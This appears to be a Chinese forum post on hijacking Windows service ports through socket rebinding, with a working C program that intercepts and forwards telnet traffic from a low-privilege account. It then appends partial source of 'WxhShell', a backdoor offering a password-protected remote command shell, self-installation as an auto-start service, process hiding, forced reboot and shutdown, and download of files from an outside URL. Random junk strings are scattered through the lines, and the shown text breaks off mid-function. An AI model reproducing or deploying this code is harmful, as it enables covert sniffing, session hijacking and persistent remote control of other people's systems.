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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h{Y#. j~aS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v?4MndR  
"\kr;X'  
  saddr.sin_family = AF_INET; D?cE$P  
EJO6k1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @,TCg1@QJ  
btB> -pT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K9UWyM<(2C  
:sek MNM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >c@1UEwkm  
Y.8mgy>   
  这意味着什么?意味着可以进行如下的攻击: mr`EcO0  
qC YXkZ%`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N:rnH:g+:  
12yX`9h>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ks^EGy+O:-  
d#nKTqSg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <k2]GI-}h  
nL* SNQ_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,m.IhnCV\  
Edav }z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !CuLXuM  
" ZFK-jn/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 MXuiQ;./  
^1+&)6s7V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \YsYOFc|  
6V c&g  
  #include TWJ%? /d  
  #include ?1MaA  
  #include v]BMET[w  
  #include    4O3-PU>N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   54, (;  
  int main() eMDraJv@  
  { vh^,8pPy  
  WORD wVersionRequested; {KalVZX2R  
  DWORD ret; fwi( qx1=}  
  WSADATA wsaData; u:D,\`;)  
  BOOL val; W%cJ#R[o  
  SOCKADDR_IN saddr; g"L$}#iTsl  
  SOCKADDR_IN scaddr; HWT^u$a"  
  int err; XqTDLM&  
  SOCKET s; E:ocx2dp  
  SOCKET sc; = eDi8A*~  
  int caddsize; ]Syr{|  
  HANDLE mt; / L/hR4  
  DWORD tid;   /0qLMlL$  
  wVersionRequested = MAKEWORD( 2, 2 ); &\GB_UA  
  err = WSAStartup( wVersionRequested, &wsaData ); TwXqk>J  
  if ( err != 0 ) { )F) (Hg  
  printf("error!WSAStartup failed!\n"); V3$Yr"rZ;  
  return -1; IPT\d^|f  
  } .`K<Iug1  
  saddr.sin_family = AF_INET; |Ptv)D  
   KPSHBv-#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]J7.d$7T  
%2D9]L2Up  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ULkhTB  
  saddr.sin_port = htons(23); u DpCW}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qA6;Q$  
  { :vkTV~  
  printf("error!socket failed!\n"); b$:<T7vei  
  return -1; <)\  
  } YCd[s[  
  val = TRUE; UL.x*@o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3R sbi  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) WD7IF+v  
  { qx~-(|s`H  
  printf("error!setsockopt failed!\n"); >FabmIcC  
  return -1; K`?",G?_  
  } Q-}yZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5J4'\M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3B5GsI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GF-\WD  
P[E5e+ A)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aqk0+  
  { '=2/0-;Jf  
  ret=GetLastError(); = j,Hxq  
  printf("error!bind failed!\n"); Y[ciT)  
  return -1; TxD,A0  
  } r#%z1u  
  listen(s,2); Xo:!U=m/#  
  while(1) vP{22P  
  { [Q2"OG@Q  
  caddsize = sizeof(scaddr); EBX+fzjQo  
  //接受连接请求 >qBQfz:U>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fGtUr _D  
  if(sc!=INVALID_SOCKET) $R2iSu{kO  
  { jr<`@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <!s+X_^  
  if(mt==NULL) :d ts>  
  { 8(Ab NQ  
  printf("Thread Creat Failed!\n"); +I {ZW}rA  
  break; *|T]('xwC  
  } Xv%1W? >@/  
  } ,MxTT!9Su  
  CloseHandle(mt); qQu}4Ye>  
  } W h^9 Aq  
  closesocket(s); }9GD'N?4  
  WSACleanup(); |ZAR!u&0  
  return 0; 5DEK`#*  
  }   S}Q/CT?au  
  DWORD WINAPI ClientThread(LPVOID lpParam) VM1`:1Z:$  
  { e bSG|F  
  SOCKET ss = (SOCKET)lpParam; mu[:b  
  SOCKET sc; msyC."j0jU  
  unsigned char buf[4096]; qBKRm0<W  
  SOCKADDR_IN saddr; ;p !|E3o.  
  long num; 0'IV"eH2  
  DWORD val; (|EnRk-E  
  DWORD ret;  a9ko3L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ")t ^!x(v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NYoh6AR  
  saddr.sin_family = AF_INET; s^@?+<4:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I$Bu6x!  
  saddr.sin_port = htons(23); XvU^DEfW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .S l{m[nV8  
  { `5V=U9zdE  
  printf("error!socket failed!\n"); McRAy%{z  
  return -1; 8T7E.guYr  
  } .K=r.tf~  
  val = 100; _R,VNk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pd<s#  
  { &p)]Cl/`  
  ret = GetLastError(); xpWx6  
  return -1; X2? ^t]-N  
  } 7<<-\7`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5,I|beM  
  { [\ M$a|K  
  ret = GetLastError(); $?.0>0 ,<  
  return -1; yM *-e m  
  } @%7IZg;P6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ET_a>]<mv  
  { ?*36&Iq}  
  printf("error!socket connect failed!\n"); ^u? #fLr  
  closesocket(sc); g ni=S~u  
  closesocket(ss); 8!~8:?6n  
  return -1; g[]UM;D*  
  } H]6i1j  
  while(1) 2qw-:  
  { ''{REFjK7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vr,8i7*0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [z2XK4\e1T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Xu4C*]A>  
  num = recv(ss,buf,4096,0); g>m)|o'  
  if(num>0) _6b?3[Xz  
  send(sc,buf,num,0); "$->nC.  
  else if(num==0) 3D"2yTM(  
  break; RObo4  
  num = recv(sc,buf,4096,0); ?s=O6D&   
  if(num>0) Vq'\`$_  
  send(ss,buf,num,0); 5r*5Co+  
  else if(num==0) KW* 2'C&  
  break; {`FkiB` i  
  } SXYH#p  
  closesocket(ss); ne]P-50  
  closesocket(sc); c>_tV3TDA  
  return 0 ; k`l={f8C  
  } 9{D u)k  
O%g Q  
a'T8U1  
========================================================== :bh#,]'  
FeW}tKH  
下边附上一个代码,,WXhSHELL B6N/nCvHK  
n{d0}N =  
========================================================== E [:eMJR  
^#|Sl D]  
#include "stdafx.h" $pKlF0 .  
KASuSg+  
#include <stdio.h> +-DF3(  
#include <string.h> skd3E4  
#include <windows.h> Q[j'FtP%  
#include <winsock2.h> e -!6m #0  
#include <winsvc.h> iKJ-$x_5  
#include <urlmon.h> (E{>L).~  
WH>=*\  
#pragma comment (lib, "Ws2_32.lib") <G};`}$a  
#pragma comment (lib, "urlmon.lib") U$*AV<{%   
9H~2 iW,Q;  
#define MAX_USER   100 // 最大客户端连接数 jGg,)~)Y  
#define BUF_SOCK   200 // sock buffer wzXIEWJ  
#define KEY_BUFF   255 // 输入 buffer aVg~/  
Dq [ f  
#define REBOOT     0   // 重启 F@8G,$  
#define SHUTDOWN   1   // 关机 N('=qp9  
JPH! .@  
#define DEF_PORT   5000 // 监听端口 <r9L-4  
'|I8byiK  
#define REG_LEN     16   // 注册表键长度 4YuJ-  
#define SVC_LEN     80   // NT服务名长度 %^ bHQB%  
FAkrM?0/  
// 从dll定义API )x!b{5'"7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xkqq$A4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Uuxx^>"h\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VjI=5)+~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Su]@~^w  
sf([8YUd  
// wxhshell配置信息 #r=Jc8J_  
struct WSCFG { i\zVP.c])*  
  int ws_port;         // 监听端口 D*%?0  
  char ws_passstr[REG_LEN]; // 口令 Q9yIQ{>H[  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6`PQP;   
  char ws_regname[REG_LEN]; // 注册表键名 Q#Tg)5.\  
  char ws_svcname[REG_LEN]; // 服务名 3`JLb]6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m4 k:uk7N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0N|l1Sn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^n?`l ^9c$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6"h,0rR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v)b_bU]Hx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4. =jKj9j  
~'9\y"N1  
}; NmuzAZr  
5@lVuMIYT  
// default Wxhshell configuration g<E[IR  
struct WSCFG wscfg={DEF_PORT, HUA{ P%  
    "xuhuanlingzhe", |p .o^  
    1, [!~= m  
    "Wxhshell", !*?|*\B^I  
    "Wxhshell", ]c9\[Kdq}H  
            "WxhShell Service", &<=?O a  
    "Wrsky Windows CmdShell Service", wit rC>  
    "Please Input Your Password: ", HBdZE7.x)3  
  1, CN{xh=2qY[  
  "http://www.wrsky.com/wxhshell.exe", d-sT+4o}  
  "Wxhshell.exe" }T5 E^  
    }; 1dhuLN%Ce  
e=cb%  
// 消息定义模块 7es<%H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6~!QibA|P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b8 ^O"oDrp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }@y(-7t  
char *msg_ws_ext="\n\rExit."; oH,{'S@q  
char *msg_ws_end="\n\rQuit."; gTS} 'w{  
char *msg_ws_boot="\n\rReboot..."; @*9c2\"k  
char *msg_ws_poff="\n\rShutdown..."; YYN'LF#j  
char *msg_ws_down="\n\rSave to "; 4St-Q]Y _  
&-$27  
char *msg_ws_err="\n\rErr!"; fTOGW`s^  
char *msg_ws_ok="\n\rOK!"; 7D KTd^^M  
83adnm  
char ExeFile[MAX_PATH]; +SB>>  
int nUser = 0; :R-_EY$k6  
HANDLE handles[MAX_USER]; Q}: $F{  
int OsIsNt; ]vflx^<?  
xZ]QT3U+  
SERVICE_STATUS       serviceStatus; +n%d,Pz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k-N}tk/5  
y;if+  
// 函数声明 IAHQT < ]  
int Install(void); Hl#?#A5  
int Uninstall(void); q'Nafa&a)  
int DownloadFile(char *sURL, SOCKET wsh); |@1M'  
int Boot(int flag); TE5J @I  
void HideProc(void); j"s7P%  
int GetOsVer(void); j8G$,~v  
int Wxhshell(SOCKET wsl); lu?:1V-  
void TalkWithClient(void *cs); Y3 \EX  
int CmdShell(SOCKET sock); s&4&\Aq}x#  
int StartFromService(void); #`ZBA>FLaQ  
int StartWxhshell(LPSTR lpCmdLine); AxfQ{>)0  
i5,yrPF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HU/2P`DGP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8og8;#mnyr  
q@^^jlHP  
// 数据结构和表定义 !,^y!+,Qy  
SERVICE_TABLE_ENTRY DispatchTable[] = 9sN#l  
{ SsEpuEn  
{wscfg.ws_svcname, NTServiceMain}, 8B(=Y;w  
{NULL, NULL} D$AvD7_  
}; 1u8hnG  
+MqJJuWB  
// 自我安装 O I0N(V  
int Install(void) 'T|EwrS j  
{ !Ln 'Mi_B  
  char svExeFile[MAX_PATH]; hD[r6c  
  HKEY key; 8OMMV,QF  
  strcpy(svExeFile,ExeFile); (;;.[4,y  
zsLMROo3  
// 如果是win9x系统,修改注册表设为自启动 f5Hv![x  
if(!OsIsNt) { >"+ ho  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5\EnD, y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R,s}<N$  
  RegCloseKey(key); r1Hh @sxn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lWn}afI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +c8t~2tuN  
  RegCloseKey(key); P }^Y"zF2  
  return 0; XtQwLH+F  
    }  "D'rsEh  
  } &Hyy .a  
} qj/Zk [  
else { Dkx}}E:<  
BCuoFw)  
// 如果是NT以上系统,安装为系统服务 "L;@qCfhO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %^d<go^  
if (schSCManager!=0) =CW> ;h]  
{ MGf*+!y,  
  SC_HANDLE schService = CreateService jz~#K;3=,  
  ( Zd'Yu{<_2N  
  schSCManager, /:^nG+  
  wscfg.ws_svcname, O+|ipw*B%  
  wscfg.ws_svcdisp, tLU@&NY`  
  SERVICE_ALL_ACCESS, @^<&LG5^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '"+Gn52#  
  SERVICE_AUTO_START, !x:{"  
  SERVICE_ERROR_NORMAL, U[2;Fkapi  
  svExeFile, wwRPfr[  
  NULL, ~BqC!v.)@E  
  NULL, "TP~TjXfq  
  NULL, g!.piG|  
  NULL, C>'G?  
  NULL ;B;@MD,B  
  ); q{_f"  
  if (schService!=0) C4qK52'2s  
  { spTz}p^\O  
  CloseServiceHandle(schService); k ~Q 5Cs  
  CloseServiceHandle(schSCManager); '7}2}KD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q7r b3d  
  strcat(svExeFile,wscfg.ws_svcname); aOw#]pB|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Cn{v\Q~.4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?0M$p  
  RegCloseKey(key); }30Sb &"  
  return 0; pY[b[ezb  
    } YR? E z<p  
  } |h%HUau  
  CloseServiceHandle(schSCManager); ,(-V<>/*.|  
} ~1E!Co  
} .jg@UAK  
3~7!=s\v  
return 1; EJ>rW(s  
} F:d2;  
zy%0;%  
// 自我卸载 Trs2M+r)  
int Uninstall(void) '&hd^9]Lo  
{ d"IZt;s/,  
  HKEY key; Phk3Jv  
O$;#GpR  
if(!OsIsNt) { `d^Q!QxE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |5%T)  
  RegDeleteValue(key,wscfg.ws_regname); Wz #Cyjo  
  RegCloseKey(key); t#@z_Mn\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +ue1+#  
  RegDeleteValue(key,wscfg.ws_regname); BgD3P.;[  
  RegCloseKey(key); qjhk#\y  
  return 0; Woj5 yr  
  } & !ds#-  
} i NfAn&  
} =+K?@;?  
else { ]{# =WTp]  
*l 4[`7|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -)^vO*b 0  
if (schSCManager!=0) #R:&Irh  
{ m< )`@6a/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cfilH"EK  
  if (schService!=0) :hs~;vn)  
  { U]gUGD!5x  
  if(DeleteService(schService)!=0) { _k26(rdI@-  
  CloseServiceHandle(schService); .D ^~!A  
  CloseServiceHandle(schSCManager); =R' O5J  
  return 0; n42\ty9  
  } >qOG^{&x  
  CloseServiceHandle(schService); Z'j[N4%BK  
  } qEXN} Pq<  
  CloseServiceHandle(schSCManager); |hw.nY]J  
} J'sa{/ #  
} #+p-  
P`{$7ST'Hh  
return 1; :H3/+/x  
} i0$*):b  
/hu>MZ(\  
// 从指定url下载文件 \QC{38}  
int DownloadFile(char *sURL, SOCKET wsh) g hmn3  
{ =f y|Dm74  
  HRESULT hr; &PRoT#,  
char seps[]= "/"; J,)ytw]  
char *token; [|1I.AZ{  
char *file; x55W"q7  
char myURL[MAX_PATH]; ?RS:I%bL  
char myFILE[MAX_PATH]; te2vv]W1  
KcpYHWCa.  
strcpy(myURL,sURL); 7@>/O)>(AS  
  token=strtok(myURL,seps); h#O9TB  
  while(token!=NULL) t!3N|`x  
  { u-,}ug|  
    file=token; lTqlQ<`V  
  token=strtok(NULL,seps); aH{)|?  
  } ltgtD k  
J??AU0 vh  
GetCurrentDirectory(MAX_PATH,myFILE); $ch`.$wx  
strcat(myFILE, "\\"); hI!BX};+}  
strcat(myFILE, file); 8!Wh`n<  
  send(wsh,myFILE,strlen(myFILE),0); ').) 0;  
send(wsh,"...",3,0); O1\Hx8^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [z2UfHpt~  
  if(hr==S_OK) _ C?Wk:Y@  
return 0; i cTpx#|=  
else $\h-F8|JMX  
return 1; ap}p?r  
nS%jnp#  
} 2L1 ,;  
c#}K,joeU  
// 系统电源模块 RSym9t90t  
int Boot(int flag) UTyV6~  
{ Ha-]U:Vcx  
  HANDLE hToken; K-C,n~-  
  TOKEN_PRIVILEGES tkp; |} b+$J  
\6&Ml]1  
  if(OsIsNt) { `9K5 ;]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h9ScN(|0y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ":Tm6Nj  
    tkp.PrivilegeCount = 1; s/IsrcfM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $!.>)n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '^_u5Y]  
if(flag==REBOOT) { 7:u+cv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1]2]l*&3  
  return 0; /VT/KT{  
} ~\CS%thX  
else { N~O3KG q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dn- [Gnde  
  return 0; f<@!{y 2Xe  
} ^-~JkW'z  
  } ? x #K:a?  
  else { zW%Em81Wd  
if(flag==REBOOT) { %DKFF4k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Yn }Gj'  
  return 0; Re8x!e'>  
} !Rl|o^Vw>{  
else { D:/ n2_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gfg,V.:  
  return 0; fx_#3=bXi  
} ,\\ba_*z  
} ~Xxmj!nOf  
( *+'k1Ea  
return 1; 2P"9m  
} <(lA CH  
tf~B,?  
// win9x进程隐藏模块 w_56y8Pd4  
void HideProc(void) o?Hfxp0}  
{ +;q\7*  
Res U5Ce~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _ Ncbo#G  
  if ( hKernel != NULL ) sh$-}1 ;  
  { %)JEYH7Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vAUt~ X"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 13!@L bC  
    FreeLibrary(hKernel); INi$-Y+  
  }  lln"c  
z5fE<=<X_W  
return; njy2pDC@  
} :jl*Y-mM  
C:J;'[,S  
// 获取操作系统版本 fkzSX8a9}  
int GetOsVer(void) 2H|:/y  
{ ccuGM WG*  
  OSVERSIONINFO winfo; LW]fme<V?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =*,SD  
  GetVersionEx(&winfo); K?^;|m-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'K,\  
  return 1; dM-cQo:  
  else 1(?4*v@B  
  return 0; m;OvOc,  
} c1'@_Is  
X,|8Wpi=  
// 客户端句柄模块 FXof9fa_B  
int Wxhshell(SOCKET wsl) YJ _eE  
{ C$y6^/7)  
  SOCKET wsh; !2LX+*;  
  struct sockaddr_in client; K&|h%4O  
  DWORD myID; RehmVkT  
^Pn|Q'{/p  
  while(nUser<MAX_USER) O^@8Drgc  
{ x4'@U<  
  int nSize=sizeof(client); 7s|'NTp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q3$8"Q^  
  if(wsh==INVALID_SOCKET) return 1; [A-_?#cZ  
Nn. 9J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dDaV2:4E  
if(handles[nUser]==0) .{1$;K @  
  closesocket(wsh); H`JFXMa<  
else b' o]Y  
  nUser++; x o"GNFh!  
  } cfLLFPhv)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XNYA\%:5S  
;>J!$B?,  
  return 0; .Mq#88o.*  
} &K9;GZS?  
&uNec( c  
// 关闭 socket _ .vG)  
void CloseIt(SOCKET wsh) } !m43x/&  
{ /Y7^!3uM  
closesocket(wsh); =A"Abmx|  
nUser--; \H] |5fp*  
ExitThread(0); uk):z$ x  
} Q]k< Y  
<|Td0|x _q  
// 客户端请求句柄 <XdnVe1  
void TalkWithClient(void *cs) [ RyVR  
{ ;.>*O oe&  
Cy~IB [  
  SOCKET wsh=(SOCKET)cs; |p|Zv H  
  char pwd[SVC_LEN]; Ds`e-X)O;\  
  char cmd[KEY_BUFF]; 2@|`Ugjptl  
char chr[1]; ]EiM~n  
int i,j; iiPVqU%  
X{-4w([  
  while (nUser < MAX_USER) {  s5VK  
NdXHpq;  
if(wscfg.ws_passstr) { c+:ZmrP/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #dauXUKH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kuEXNi1l  
  //ZeroMemory(pwd,KEY_BUFF); `a83RX_\  
      i=0; n2U &}O  
  while(i<SVC_LEN) { %F*9D3^h  
dAI^P/y%  
  // 设置超时 e+[*4)Qfy  
  fd_set FdRead; Xoe|]@U`  
  struct timeval TimeOut; S,&LH-ps   
  FD_ZERO(&FdRead); ;wv[';J  
  FD_SET(wsh,&FdRead); ^h[6{F~J  
  TimeOut.tv_sec=8; 1W USp;JMl  
  TimeOut.tv_usec=0; @.t +  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BlVHP8/b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V%,,GmiU]  
/Ew()>Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |L<JOQ  
  pwd=chr[0]; RNT9M:w  
  if(chr[0]==0xd || chr[0]==0xa) { ?WI v4  
  pwd=0; /vQ)$;xf#  
  break; V}E['fzBFV  
  } o0H^J,6gV  
  i++; `Y&`2WZ ~  
    } $S6(V}yh  
Rh'z;Gyr  
  // 如果是非法用户,关闭 socket km %r{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >F$9&s&  
} QQJGqM3a2  
s9?mX@>h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  {53FR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H=/1d.p  
]iV ]7g8:  
while(1) { < 5zR-UA>  
9jal D X  
  ZeroMemory(cmd,KEY_BUFF); `G\ qGllX  
N*IroT3  
      // 自动支持客户端 telnet标准    ti5fsc  
  j=0; aBA oSn  
  while(j<KEY_BUFF) { j+jC J<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jf^3nBZ  
  cmd[j]=chr[0]; )."ob=m  
  if(chr[0]==0xa || chr[0]==0xd) { 1$*8F  
  cmd[j]=0; MK#   
  break; /X}1%p  
  } {v"f){   
  j++; _}{KS, f]0  
    } l6'KIg  
1mFH7A($  
  // 下载文件 '(]Wtx%9"  
  if(strstr(cmd,"http://")) { Wv4$Lgr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (:iMs) iO{  
  if(DownloadFile(cmd,wsh)) \mb4leg5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2[lP,;!  
  else }?m0bM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z~H1f$}  
  } d?oXz|;H(  
  else { m(f`=+lqI`  
dle\}Sy=  
    switch(cmd[0]) { F8%^Ed~@  
  xF_u:}7`  
  // 帮助 IOHWb&N6  
  case '?': { XpAJP++  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VwR\"8r3  
    break; !}=eXDn;A_  
  } XT^=v6^H  
  // 安装 IADSWzQ@  
  case 'i': { B>u`%Ry&  
    if(Install()) 8@3=SO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); > ?+Rtg|${  
    else d V%o:@Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AbNr]w&pXC  
    break; -x ?Z2EA!  
    } $1=7^v[U  
  // 卸载 JuJW]E Q  
  case 'r': { Uw4iWcC  
    if(Uninstall()) BA a:!p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,ei9 ?9J1  
    else 6*,55,y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4K cEJlK5  
    break; F=F84 _+K  
    } ww|fqx?  
  // 显示 wxhshell 所在路径 ?>7\L'n=5I  
  case 'p': { 0A} X hX  
    char svExeFile[MAX_PATH]; veDv14  
    strcpy(svExeFile,"\n\r"); | .+P ;g  
      strcat(svExeFile,ExeFile); d.}65{F,x  
        send(wsh,svExeFile,strlen(svExeFile),0); sI\NX$M  
    break; C6ql,hR^h`  
    } Gs#9'3_U5  
  // 重启 &>-'|(m+2  
  case 'b': { u^Cl s!C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tM LiG4 |7  
    if(Boot(REBOOT)) #19O5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #X] *kxQ<  
    else { xxGm T.&  
    closesocket(wsh); x& _Y( bHA  
    ExitThread(0); wPU5L*/*i  
    } Y6wr}U  
    break; !>(uhuTBF  
    } :V(C+bm *  
  // 关机 WvU[9ME^)  
  case 'd': { X -1r$.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LR&MhG7  
